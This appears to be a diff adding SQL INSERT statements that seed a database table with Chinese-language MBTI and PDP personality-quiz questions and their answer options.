+INSERT INTO `mbti_questions` VALUES (5, 'mbti', '您更倾向于:', '[{\"text\": \"认识很多人,建立广泛的社交网络\", \"value\": \"E\"}, {\"text\": \"与少数几个人建立深厚的友谊\", \"value\": \"I\"}]', 'EI', NULL, 5, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (6, 'mbti', '在工作环境中,您更喜欢:', '[{\"text\": \"开放的办公空间,可以随时与同事交流\", \"value\": \"E\"}, {\"text\": \"安静的私人空间,可以专注工作\", \"value\": \"I\"}]', 'EI', NULL, 6, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (7, 'mbti', '当面对问题时,您更倾向于:', '[{\"text\": \"与他人讨论,获取不同观点\", \"value\": \"E\"}, {\"text\": \"独自思考,寻找解决方案\", \"value\": \"I\"}]', 'EI', NULL, 7, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (8, 'mbti', '您更喜欢的休闲活动是:', '[{\"text\": \"参加派对、团体活动或体育比赛\", \"value\": \"E\"}, {\"text\": \"阅读、看电影或独自进行创作\", \"value\": \"I\"}]', 'EI', NULL, 8, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (9, 'mbti', '在陌生环境中,您通常会:', '[{\"text\": \"主动与他人交谈,快速融入环境\", \"value\": \"E\"}, {\"text\": \"观察周围环境,等待他人接近\", \"value\": \"I\"}]', 'EI', NULL, 9, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (10, 'mbti', '您认为自己是:', '[{\"text\": \"外向、健谈的人\", \"value\": \"E\"}, {\"text\": \"内敛、安静的人\", \"value\": \"I\"}]', 'EI', NULL, 10, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (11, 'mbti', '长时间的社交活动后,您通常会:', '[{\"text\": \"感到精力充沛,想继续社交\", \"value\": \"E\"}, {\"text\": \"感到疲惫,需要独处恢复精力\", \"value\": \"I\"}]', 'EI', NULL, 11, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (12, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"与团队一起头脑风暴和协作\", \"value\": \"E\"}, {\"text\": \"独立思考和解决问题\", \"value\": \"I\"}]', 'EI', NULL, 12, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (13, 'mbti', '您更容易:', '[{\"text\": \"在说话的过程中组织思路\", \"value\": \"E\"}, {\"text\": \"在说话前先组织好思路\", \"value\": \"I\"}]', 'EI', NULL, 13, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (14, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"小组讨论和互动学习\", \"value\": \"E\"}, {\"text\": \"自学和独立研究\", \"value\": \"I\"}]', 'EI', NULL, 14, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (15, 'mbti', '当您有好消息时,您会:', '[{\"text\": \"立即告诉朋友和家人分享喜悦\", \"value\": \"E\"}, {\"text\": \"只告诉少数几个亲近的人\", \"value\": \"I\"}]', 'EI', NULL, 15, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (16, 'mbti', '您更喜欢的假期类型是:', '[{\"text\": \"热闹的旅游胜地,有很多活动和人\", \"value\": \"E\"}, {\"text\": \"安静的度假地,可以放松和思考\", \"value\": \"I\"}]', 'EI', NULL, 16, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (17, 'mbti', '在团队项目中,您更倾向于:', '[{\"text\": \"担任协调者或发言人的角色\", \"value\": \"E\"}, {\"text\": \"负责研究或分析的工作\", \"value\": \"I\"}]', 'EI', NULL, 17, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (18, 'mbti', '您更喜欢的通讯方式是:', '[{\"text\": \"面对面交谈或视频通话\", \"value\": \"E\"}, {\"text\": \"电子邮件或文字消息\", \"value\": \"I\"}]', 'EI', NULL, 18, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (19, 'mbti', '当您遇到困难时,您更倾向于:', '[{\"text\": \"寻求他人的建议和支持\", \"value\": \"E\"}, {\"text\": \"自己思考解决方案\", \"value\": \"I\"}]', 'EI', NULL, 19, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (20, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"充满活力和互动的环境\", \"value\": \"E\"}, {\"text\": \"安静和专注的环境\", \"value\": \"I\"}]', 'EI', NULL, 20, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (21, 'mbti', '您更倾向于:', '[{\"text\": \"在多个社交圈中活跃\", \"value\": \"E\"}, {\"text\": \"在一个小圈子中深入交往\", \"value\": \"I\"}]', 'EI', NULL, 21, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (22, 'mbti', '您更喜欢:', '[{\"text\": \"参加大型社交活动\", \"value\": \"E\"}, {\"text\": \"与一两个朋友进行深入交流\", \"value\": \"I\"}]', 'EI', NULL, 22, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (23, 'mbti', '您更倾向于:', '[{\"text\": \"在公共场合表达自己的想法\", \"value\": \"E\"}, {\"text\": \"在私下或小范围内分享想法\", \"value\": \"I\"}]', 'EI', NULL, 23, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (24, 'mbti', '当面对新信息时,您更倾向于:', '[{\"text\": \"关注具体细节和事实\", \"value\": \"S\"}, {\"text\": \"寻找模式和可能性\", \"value\": \"N\"}]', 'SN', NULL, 24, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (25, 'mbti', '您更相信:', '[{\"text\": \"实际经验和直接观察\", \"value\": \"S\"}, {\"text\": \"直觉和想象力\", \"value\": \"N\"}]', 'SN', NULL, 25, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (26, 'mbti', '您更喜欢处理:', '[{\"text\": \"已知的、确定的信息\", \"value\": \"S\"}, {\"text\": \"理论性的、抽象的概念\", \"value\": \"N\"}]', 'SN', NULL, 26, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (27, 'mbti', '在解决问题时,您更倾向于:', '[{\"text\": \"使用已证实有效的方法\", \"value\": \"S\"}, {\"text\": \"尝试创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 27, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (28, 'mbti', '您更关注:', '[{\"text\": \"当下的现实和实际情况\", \"value\": \"S\"}, {\"text\": \"未来的可能性和潜在发展\", \"value\": \"N\"}]', 'SN', NULL, 28, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (29, 'mbti', '您更喜欢的工作类型是:', '[{\"text\": \"有明确指导和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许创新和探索的工作\", \"value\": \"N\"}]', 'SN', NULL, 29, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (30, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的细节\", \"value\": \"S\"}, {\"text\": \"思考概念和理论\", \"value\": \"N\"}]', 'SN', NULL, 30, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (31, 'mbti', '您更喜欢的书籍或电影是:', '[{\"text\": \"基于现实的故事或纪实作品\", \"value\": \"S\"}, {\"text\": \"科幻、奇幻或充满想象力的作品\", \"value\": \"N\"}]', 'SN', NULL, 31, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (32, 'mbti', '在学习新技能时,您更倾向于:', '[{\"text\": \"按部就班地学习,掌握每个具体步骤\", \"value\": \"S\"}, {\"text\": \"先了解整体概念,然后填补细节\", \"value\": \"N\"}]', 'SN', NULL, 32, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (33, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确结构和规则的环境\", \"value\": \"S\"}, {\"text\": \"灵活多变,鼓励创新的环境\", \"value\": \"N\"}]', 'SN', NULL, 33, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (34, 'mbti', '您更倾向于:', '[{\"text\": \"关注现实和实际问题\", \"value\": \"S\"}, {\"text\": \"思考未来和可能性\", \"value\": \"N\"}]', 'SN', NULL, 34, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (35, 'mbti', '在描述事物时,您更倾向于:', '[{\"text\": \"提供具体细节和精确描述\", \"value\": \"S\"}, {\"text\": \"使用比喻和隐喻,强调整体印象\", \"value\": \"N\"}]', 'SN', NULL, 35, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (36, 'mbti', '您更喜欢的工作任务是:', '[{\"text\": \"需要精确和注重细节的任务\", \"value\": \"S\"}, {\"text\": \"需要创造力和想象力的任务\", \"value\": \"N\"}]', 'SN', NULL, 36, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (37, 'mbti', '您更相信:', '[{\"text\": \"亲眼所见和实际经验\", \"value\": \"S\"}, {\"text\": \"直觉和内在感受\", \"value\": \"N\"}]', 'SN', NULL, 37, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (38, 'mbti', '在讨论问题时,您更关注:', '[{\"text\": \"具体事实和实际例子\", \"value\": \"S\"}, {\"text\": \"概念和理论框架\", \"value\": \"N\"}]', 'SN', NULL, 38, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (39, 'mbti', '您更喜欢的学习方式是:', '[{\"text\": \"通过实践和具体例子学习\", \"value\": \"S\"}, {\"text\": \"通过理论和概念学习\", \"value\": \"N\"}]', 'SN', NULL, 39, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (40, 'mbti', '您更倾向于:', '[{\"text\": \"关注现在和过去的经验\", \"value\": \"S\"}, {\"text\": \"思考未来和可能发生的事情\", \"value\": \"N\"}]', 'SN', NULL, 40, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (41, 'mbti', '在解决问题时,您更依赖:', '[{\"text\": \"已经证明有效的方法和经验\", \"value\": \"S\"}, {\"text\": \"创新的思路和直觉\", \"value\": \"N\"}]', 'SN', NULL, 41, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (42, 'mbti', '您更喜欢的工作是:', '[{\"text\": \"有明确目标和具体步骤的工作\", \"value\": \"S\"}, {\"text\": \"允许探索和创新的工作\", \"value\": \"N\"}]', 'SN', NULL, 42, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (43, 'mbti', '您更倾向于:', '[{\"text\": \"关注实际和现实的问题\", \"value\": \"S\"}, {\"text\": \"思考抽象和理论性的问题\", \"value\": \"N\"}]', 'SN', NULL, 43, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (44, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的方法和程序工作\", \"value\": \"S\"}, {\"text\": \"尝试新的方法和创新的解决方案\", \"value\": \"N\"}]', 'SN', NULL, 44, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (45, 'mbti', '您更关注:', '[{\"text\": \"实际的细节和具体的事实\", \"value\": \"S\"}, {\"text\": \"整体的概念和潜在的可能性\", \"value\": \"N\"}]', 'SN', NULL, 45, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (46, 'mbti', '在做决定时,您通常会:', '[{\"text\": \"考虑逻辑和客观分析\", \"value\": \"T\"}, {\"text\": \"考虑个人价值观和他人感受\", \"value\": \"F\"}]', 'TF', NULL, 46, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (47, 'mbti', '您更倾向于:', '[{\"text\": \"公正客观地分析情况\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 47, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (48, 'mbti', '在解决冲突时,您更关注:', '[{\"text\": \"找出问题的根本原因和逻辑解决方案\", \"value\": \"T\"}, {\"text\": \"维护关系和照顾各方感受\", \"value\": \"F\"}]', 'TF', NULL, 48, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (49, 'mbti', '您更倾向于:', '[{\"text\": \"直接指出问题,即使可能伤害他人感受\", \"value\": \"T\"}, {\"text\": \"委婉表达,避免伤害他人感受\", \"value\": \"F\"}]', 'TF', NULL, 49, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (50, 'mbti', '在评估情况时,您更重视:', '[{\"text\": \"客观事实和逻辑分析\", \"value\": \"T\"}, {\"text\": \"人际关系和价值观\", \"value\": \"F\"}]', 'TF', NULL, 50, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (51, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对他人的情感影响\", \"value\": \"F\"}]', 'TF', NULL, 51, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (52, 'mbti', '在团队中,您更关注:', '[{\"text\": \"任务的完成和效率\", \"value\": \"T\"}, {\"text\": \"团队和谐和成员满意度\", \"value\": \"F\"}]', 'TF', NULL, 52, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (53, 'mbti', '您更倾向于:', '[{\"text\": \"基于逻辑和事实做决定\", \"value\": \"T\"}, {\"text\": \"基于价值观和个人信念做决定\", \"value\": \"F\"}]', 'TF', NULL, 53, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (54, 'mbti', '在给予反馈时,您更倾向于:', '[{\"text\": \"直接指出问题和改进方向\", \"value\": \"T\"}, {\"text\": \"先肯定优点,再委婉提出建议\", \"value\": \"F\"}]', 'TF', NULL, 54, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (55, 'mbti', '您更看重:', '[{\"text\": \"公平和一致性\", \"value\": \"T\"}, {\"text\": \"同情和个人情况\", \"value\": \"F\"}]', 'TF', NULL, 55, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (56, 'mbti', '在工作中,您更重视:', '[{\"text\": \"效率和成果\", \"value\": \"T\"}, {\"text\": \"团队合作和人际关系\", \"value\": \"F\"}]', 'TF', NULL, 56, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (57, 'mbti', '您更倾向于:', '[{\"text\": \"客观分析问题,不受个人情感影响\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响和感受\", \"value\": \"F\"}]', 'TF', NULL, 57, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (58, 'mbti', '在处理冲突时,您更倾向于:', '[{\"text\": \"关注问题本身,寻求公正的解决方案\", \"value\": \"T\"}, {\"text\": \"关注人际关系,寻求和谐的解决方案\", \"value\": \"F\"}]', 'TF', NULL, 58, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (59, 'mbti', '您更看重:', '[{\"text\": \"真实和诚实,即使可能伤害感情\", \"value\": \"T\"}, {\"text\": \"善良和体贴,避免伤害他人\", \"value\": \"F\"}]', 'TF', NULL, 59, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (60, 'mbti', '在评价他人时,您更倾向于:', '[{\"text\": \"客观评价其表现和能力\", \"value\": \"T\"}, {\"text\": \"考虑其努力和意图\", \"value\": \"F\"}]', 'TF', NULL, 60, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (61, 'mbti', '您更倾向于:', '[{\"text\": \"基于原则和规则做决定\", \"value\": \"T\"}, {\"text\": \"基于具体情况和个人需求做决定\", \"value\": \"F\"}]', 'TF', NULL, 61, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (62, 'mbti', '在处理问题时,您更关注:', '[{\"text\": \"找出最有效的解决方案\", \"value\": \"T\"}, {\"text\": \"确保所有人都感到被尊重和理解\", \"value\": \"F\"}]', 'TF', NULL, 62, 1, NULL, 1770881507, 1770881507);
+INSERT INTO `mbti_questions` VALUES (63, 'mbti', '您更倾向于:', '[{\"text\": \"保持客观和理性\", \"value\": \"T\"}, {\"text\": \"表达同理心和关怀\", \"value\": \"F\"}]', 'TF', NULL, 63, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (64, 'mbti', '在做决定时,您更看重:', '[{\"text\": \"逻辑和一致性\", \"value\": \"T\"}, {\"text\": \"价值观和人际和谐\", \"value\": \"F\"}]', 'TF', NULL, 64, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (65, 'mbti', '您更倾向于:', '[{\"text\": \"分析问题,寻找最佳解决方案\", \"value\": \"T\"}, {\"text\": \"理解他人感受,寻求共识\", \"value\": \"F\"}]', 'TF', NULL, 65, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (66, 'mbti', '在工作中,您更重视:', '[{\"text\": \"完成任务和达成目标\", \"value\": \"T\"}, {\"text\": \"维护良好的工作关系\", \"value\": \"F\"}]', 'TF', NULL, 66, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (67, 'mbti', '您更倾向于:', '[{\"text\": \"基于事实和数据做决定\", \"value\": \"T\"}, {\"text\": \"考虑决定对人的影响\", \"value\": \"F\"}]', 'TF', NULL, 67, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (68, 'mbti', '您更喜欢:', '[{\"text\": \"提前计划并按计划执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据情况调整\", \"value\": \"P\"}]', 'JP', NULL, 68, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (69, 'mbti', '您更倾向于:', '[{\"text\": \"按时完成任务,避免拖延\", \"value\": \"J\"}, {\"text\": \"在最后期限前完成任务,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 69, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (70, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的规则和结构\", \"value\": \"J\"}, {\"text\": \"灵活多变,允许即兴发挥\", \"value\": \"P\"}]', 'JP', NULL, 70, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (71, 'mbti', '您更倾向于:', '[{\"text\": \"制定详细的计划并遵循\", \"value\": \"J\"}, {\"text\": \"根据情况随机应变\", \"value\": \"P\"}]', 'JP', NULL, 71, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (72, 'mbti', '您更喜欢:', '[{\"text\": \"有条理和组织的生活方式\", \"value\": \"J\"}, {\"text\": \"自然流动和灵活的生活方式\", \"value\": \"P\"}]', 'JP', NULL, 72, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (73, 'mbti', '在做决定时,您更倾向于:', '[{\"text\": \"尽快做出决定并执行\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待更多信息\", \"value\": \"P\"}]', 'JP', NULL, 73, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (74, 'mbti', '您更喜欢:', '[{\"text\": \"按照既定的时间表和计划行事\", \"value\": \"J\"}, {\"text\": \"根据当下的情况和感受行事\", \"value\": \"P\"}]', 'JP', NULL, 74, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (75, 'mbti', '您更倾向于:', '[{\"text\": \"完成一项任务后再开始下一项\", \"value\": \"J\"}, {\"text\": \"同时处理多项任务,根据情况切换\", \"value\": \"P\"}]', 'JP', NULL, 75, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (76, 'mbti', '您更喜欢的工作方式是:', '[{\"text\": \"有明确的目标和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程,可以随时调整\", \"value\": \"P\"}]', 'JP', NULL, 76, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (77, 'mbti', '您更倾向于:', '[{\"text\": \"提前做决定,避免最后一刻的压力\", \"value\": \"J\"}, {\"text\": \"保持选项开放,等待最佳时机\", \"value\": \"P\"}]', 'JP', NULL, 77, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (78, 'mbti', '您的工作区域通常是:', '[{\"text\": \"整洁有序,物品摆放有规律\", \"value\": \"J\"}, {\"text\": \"创意性混乱,物品随手可及\", \"value\": \"P\"}]', 'JP', NULL, 78, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (79, 'mbti', '您更倾向于:', '[{\"text\": \"按部就班地完成任务\", \"value\": \"J\"}, {\"text\": \"在灵感来临时集中精力工作\", \"value\": \"P\"}]', 'JP', NULL, 79, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (80, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的规则和指导方针\", \"value\": \"J\"}, {\"text\": \"灵活的环境,可以自由发挥\", \"value\": \"P\"}]', 'JP', NULL, 80, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (81, 'mbti', '您更倾向于:', '[{\"text\": \"提前计划假期和活动\", \"value\": \"J\"}, {\"text\": \"即兴决定和安排活动\", \"value\": \"P\"}]', 'JP', NULL, 81, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (82, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的日程安排\", \"value\": \"J\"}, {\"text\": \"根据当天的情况决定\", \"value\": \"P\"}]', 'JP', NULL, 82, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (83, 'mbti', '您更倾向于:', '[{\"text\": \"按照计划行事,避免意外\", \"value\": \"J\"}, {\"text\": \"适应变化,享受意外惊喜\", \"value\": \"P\"}]', 'JP', NULL, 83, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (84, 'mbti', '您更喜欢的生活方式是:', '[{\"text\": \"有规律和可预测的\", \"value\": \"J\"}, {\"text\": \"自然流动和多变的\", \"value\": \"P\"}]', 'JP', NULL, 84, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (85, 'mbti', '您更倾向于:', '[{\"text\": \"提前做好准备,避免匆忙\", \"value\": \"J\"}, {\"text\": \"在最后一刻完成准备,保持灵活性\", \"value\": \"P\"}]', 'JP', NULL, 85, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (86, 'mbti', '您更喜欢:', '[{\"text\": \"明确的指导和方向\", \"value\": \"J\"}, {\"text\": \"探索不同的可能性\", \"value\": \"P\"}]', 'JP', NULL, 86, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (87, 'mbti', '您更倾向于:', '[{\"text\": \"按照既定的程序和方法工作\", \"value\": \"J\"}, {\"text\": \"根据情况调整工作方法\", \"value\": \"P\"}]', 'JP', NULL, 87, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (88, 'mbti', '您更喜欢:', '[{\"text\": \"有明确的目标和计划\", \"value\": \"J\"}, {\"text\": \"保持开放的态度,随机应变\", \"value\": \"P\"}]', 'JP', NULL, 88, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (89, 'mbti', '您更倾向于:', '[{\"text\": \"做决定并坚持执行\", \"value\": \"J\"}, {\"text\": \"保持灵活,根据新信息调整\", \"value\": \"P\"}]', 'JP', NULL, 89, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (90, 'mbti', '您更喜欢的工作环境是:', '[{\"text\": \"有明确的期望和截止日期\", \"value\": \"J\"}, {\"text\": \"灵活的工作流程和时间安排\", \"value\": \"P\"}]', 'JP', NULL, 90, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (91, 'pdp', '面对紧急任务,您的第一反应是:', '[{\"text\": \"立即行动,快速完成\", \"value\": \"Tiger\"}, {\"text\": \"召集团队,激励大家\", \"value\": \"Peacock\"}, {\"text\": \"冷静分析,稳步推进\", \"value\": \"Koala\"}, {\"text\": \"仔细规划,确保无误\", \"value\": \"Owl\"}, {\"text\": \"根据情况灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 1, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (92, 'pdp', '在社交场合,您通常会:', '[{\"text\": \"主导话题,引领讨论\", \"value\": \"Tiger\"}, {\"text\": \"活跃气氛,成为焦点\", \"value\": \"Peacock\"}, {\"text\": \"安静倾听,适时回应\", \"value\": \"Koala\"}, {\"text\": \"观察分析,选择性交流\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 2, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (93, 'pdp', '您最看重工作中的:', '[{\"text\": \"权力和成就\", \"value\": \"Tiger\"}, {\"text\": \"认可和赞赏\", \"value\": \"Peacock\"}, {\"text\": \"稳定和和谐\", \"value\": \"Koala\"}, {\"text\": \"准确和质量\", \"value\": \"Owl\"}, {\"text\": \"平衡和适应\", \"value\": \"Chameleon\"}]', NULL, NULL, 3, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (94, 'pdp', '处理冲突时,您倾向于:', '[{\"text\": \"直接面对,迅速解决\", \"value\": \"Tiger\"}, {\"text\": \"调解双方,化解矛盾\", \"value\": \"Peacock\"}, {\"text\": \"避免冲突,维护和平\", \"value\": \"Koala\"}, {\"text\": \"分析原因,理性处理\", \"value\": \"Owl\"}, {\"text\": \"灵活应对,视情况而定\", \"value\": \"Chameleon\"}]', NULL, NULL, 4, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (95, 'pdp', '您的决策风格是:', '[{\"text\": \"果断迅速,行动导向\", \"value\": \"Tiger\"}, {\"text\": \"直觉判断,情感驱动\", \"value\": \"Peacock\"}, {\"text\": \"深思熟虑,追求共识\", \"value\": \"Koala\"}, {\"text\": \"数据分析,逻辑推理\", \"value\": \"Owl\"}, {\"text\": \"综合考虑,灵活决策\", \"value\": \"Chameleon\"}]', NULL, NULL, 5, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (96, 'pdp', '面对压力,您会:', '[{\"text\": \"更加强势,控制局面\", \"value\": \"Tiger\"}, {\"text\": \"寻求支持,表达情绪\", \"value\": \"Peacock\"}, {\"text\": \"保持冷静,稳定情绪\", \"value\": \"Koala\"}, {\"text\": \"更加谨慎,反复确认\", \"value\": \"Owl\"}, {\"text\": \"调整策略,灵活应对\", \"value\": \"Chameleon\"}]', NULL, NULL, 6, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (97, 'pdp', '您的领导风格是:', '[{\"text\": \"指挥型,明确方向\", \"value\": \"Tiger\"}, {\"text\": \"激励型,鼓舞士气\", \"value\": \"Peacock\"}, {\"text\": \"支持型,关怀团队\", \"value\": \"Koala\"}, {\"text\": \"专家型,以身作则\", \"value\": \"Owl\"}, {\"text\": \"教练型,因材施教\", \"value\": \"Chameleon\"}]', NULL, NULL, 7, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (98, 'pdp', '您处理细节的方式是:', '[{\"text\": \"关注大局,委托他人\", \"value\": \"Tiger\"}, {\"text\": \"可能忽略,更重整体\", \"value\": \"Peacock\"}, {\"text\": \"认真对待,确保准确\", \"value\": \"Koala\"}, {\"text\": \"极度重视,追求完美\", \"value\": \"Owl\"}, {\"text\": \"视情况决定关注程度\", \"value\": \"Chameleon\"}]', NULL, NULL, 8, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (99, 'pdp', '您的沟通方式是:', '[{\"text\": \"直接简短,注重结果\", \"value\": \"Tiger\"}, {\"text\": \"热情生动,富有感染力\", \"value\": \"Peacock\"}, {\"text\": \"温和耐心,善于倾听\", \"value\": \"Koala\"}, {\"text\": \"逻辑清晰,注重事实\", \"value\": \"Owl\"}, {\"text\": \"根据对象调整方式\", \"value\": \"Chameleon\"}]', NULL, NULL, 9, 1, NULL, 1770881508, 1770881508);
+INSERT INTO `mbti_questions` VALUES (100, 'pdp', '您对变化的态度是:', '[{\"text\": \"主动推动,寻找机会\", \"value\": \"Tiger\"}, {\"text\": \"积极拥抱,乐观面对\", \"value\": \"Peacock\"}, {\"text\": \"需要适应时间\", \"value\": \"Koala\"}, {\"text\": \"谨慎评估,确保万全\", \"value\": \"Owl\"}, {\"text\": \"灵活适应,随机应变\", \"value\": \"Chameleon\"}]', NULL, NULL, 10, 1, NULL, 1770881508, 1770881508);
